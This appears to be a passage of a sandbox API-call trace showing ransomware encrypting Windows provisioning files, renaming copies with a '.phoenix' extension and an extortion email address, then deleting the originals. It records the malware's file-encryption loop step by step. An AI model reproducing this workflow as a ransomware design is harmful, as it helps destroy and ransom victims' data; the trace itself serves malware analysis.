	[0245.023] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.023] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0245.023] CryptDestroyKey (hKey=0x151080) returned 1
	[0245.023] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0245.023] CryptDestroyKey (hKey=0x151780) returned 1
	[0245.023] CloseHandle (hObject=0x2e8) returned 1
	[0245.023] CloseHandle (hObject=0x2d4) returned 1
	[0245.023] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml")) returned 1
	[0245.024] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.025] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=467) returned 1
	[0245.025] CloseHandle (hObject=0x2d4) returned 1
	[0245.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0245.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.025] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.025] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0245.026] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.026] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d3, lpOverlapped=0x0) returned 1
	[0245.026] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0245.027] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0245.028] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0245.028] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.028] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0245.028] CryptDestroyKey (hKey=0x151640) returned 1
	[0245.028] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0245.028] CryptDestroyKey (hKey=0x151140) returned 1
	[0245.028] CloseHandle (hObject=0x2d4) returned 1
	[0245.028] CloseHandle (hObject=0x2e8) returned 1
	[0245.028] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0245.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.030] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=827) returned 1
	[0245.030] CloseHandle (hObject=0x2e8) returned 1
	[0245.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.030] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.030] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.030] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0245.030] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.030] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x33b, lpOverlapped=0x0) returned 1
	[0245.108] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340, dwBufLen=0x340 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340) returned 1
	[0245.108] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x340, lpOverlapped=0x0) returned 1
	[0245.211] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0245.211] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.211] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0245.211] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.211] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0245.212] CryptDestroyKey (hKey=0x151640) returned 1
	[0245.212] CloseHandle (hObject=0x2e8) returned 1
	[0245.212] CloseHandle (hObject=0x2d4) returned 1
	[0245.212] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\26__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.213] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.213] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.213] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=905) returned 1
	[0245.213] CloseHandle (hObject=0x2d4) returned 1
	[0245.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.214] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.214] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.214] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.214] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0245.214] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.214] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x389, lpOverlapped=0x0) returned 1
	[0245.331] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x390, dwBufLen=0x390 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x390) returned 1
	[0245.331] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x390, lpOverlapped=0x0) returned 1
	[0245.332] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0245.332] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.332] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0245.332] CryptDestroyKey (hKey=0x151680) returned 1
	[0245.332] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0245.332] CryptDestroyKey (hKey=0x151500) returned 1
	[0245.332] CloseHandle (hObject=0x2d4) returned 1
	[0245.332] CloseHandle (hObject=0x2e8) returned 1
	[0245.332] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\271__connections_cellular_telenor (montenegro)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.333] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=775) returned 1
	[0245.333] CloseHandle (hObject=0x2e8) returned 1
	[0245.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.334] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.334] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0245.334] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.334] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x307, lpOverlapped=0x0) returned 1
	[0245.406] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0245.406] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0245.406] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0245.407] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.407] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0245.407] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0245.407] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0245.407] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0245.407] CloseHandle (hObject=0x2e8) returned 1
	[0245.407] CloseHandle (hObject=0x2d4) returned 1
	[0245.407] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\272__connections_cellular_t-mobile (montenegro)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.408] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.408] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.408] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=855) returned 1
	[0245.408] CloseHandle (hObject=0x2d4) returned 1
